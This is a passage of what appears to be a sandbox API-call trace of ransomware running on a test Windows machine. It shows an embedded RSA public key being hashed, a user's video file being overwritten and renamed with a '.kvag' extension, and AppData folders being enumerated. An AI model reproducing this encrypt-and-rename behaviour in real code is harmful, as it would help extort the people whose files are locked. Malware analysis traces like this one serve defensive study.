KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.345] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.345] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607f98) returned 1 [0121.345] CryptCreateHash (in: hProv=0x3607f98, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.345] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.346] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.346] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.346] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.346] CryptReleaseContext (hProv=0x3607f98, dwFlags=0x0) returned 1 [0121.346] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.346] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.346] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.346] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0121.347] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xe775, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.347] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.347] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.347] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.347] CloseHandle (hObject=0x61c) returned 1 [0121.349] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\qC5iE91o3\\ZVpUd0FLYyHkQN.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\qc5ie91o3\\zvpud0flyyhkqn.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\qC5iE91o3\\ZVpUd0FLYyHkQN.mp4.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\qc5ie91o3\\zvpud0flyyhkqn.mp4.kvag")) returned 1 [0121.350] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38d50150, ftCreationTime.dwHighDateTime=0x1d4d22a, ftLastAccessTime.dwLowDateTime=0xeac71d10, ftLastAccessTime.dwHighDateTime=0x1d4cc73, ftLastWriteTime.dwLowDateTime=0xeac71d10, ftLastWriteTime.dwHighDateTime=0x1d4cc73, nFileSizeHigh=0x0, nFileSizeLow=0xe775, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZVpUd0FLYyHkQN.mp4", cAlternateFileName="ZVPUD0~1.MP4")) returned 0 [0121.350] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0121.350] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0121.350] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0121.351] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0121.351] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0121.351] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.351] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.351] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.351] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.351] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.351] PathFindFileNameW (pszPath="") returned="" [0121.351] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0121.351] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.351] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0121.351] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0121.351] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0121.352] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0121.352] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0121.352] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0121.352] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0121.352] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.352] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.352] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.352] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.352] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.352] PathFindFileNameW (pszPath="") returned="" [0121.352] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0121.352] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.352] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0121.353] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 0 [0121.353] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0121.353] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0121.353] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0121.353] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0121.353] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0121.353] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.353] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.353] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.353] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.353] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.353] PathFindFileNameW (pszPath="") returned="" [0121.353] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0121.354] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.354] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Content", cAlternateFileName="")) returned 1 [0121.354] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 1 [0121.354] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 0 [0121.355] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0121.355] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0121.355] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0121.355] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\") returned="IME12\\" [0121.355] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0121.355] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.355] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.355] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.355] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.355] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.355] PathFindFileNameW (pszPath="") returned="" [0121.355] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0121.357] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.357] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0121.357] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0121.357] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0121.357] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0121.357] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\") returned="IMJP12\\" [0121.357] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0121.357] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.357] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.357] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.357] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.357] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.357] PathFindFileNameW (pszPath="") returned="" [0121.357] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0121.358] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.358] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0121.358] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0121.358] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0121.358] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0121.358] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\") returned="IMJP8_1\\" [0121.358] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0121.358] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.358] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.358] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.359] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.359] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.359] PathFindFileNameW (pszPath="") returned="" [0121.359] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0121.359] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.360] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0121.360] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0121.360] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0121.360] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0121.360] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\") returned="IMJP9_0\\" [0121.360] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0121.360] PathFindFileNameW 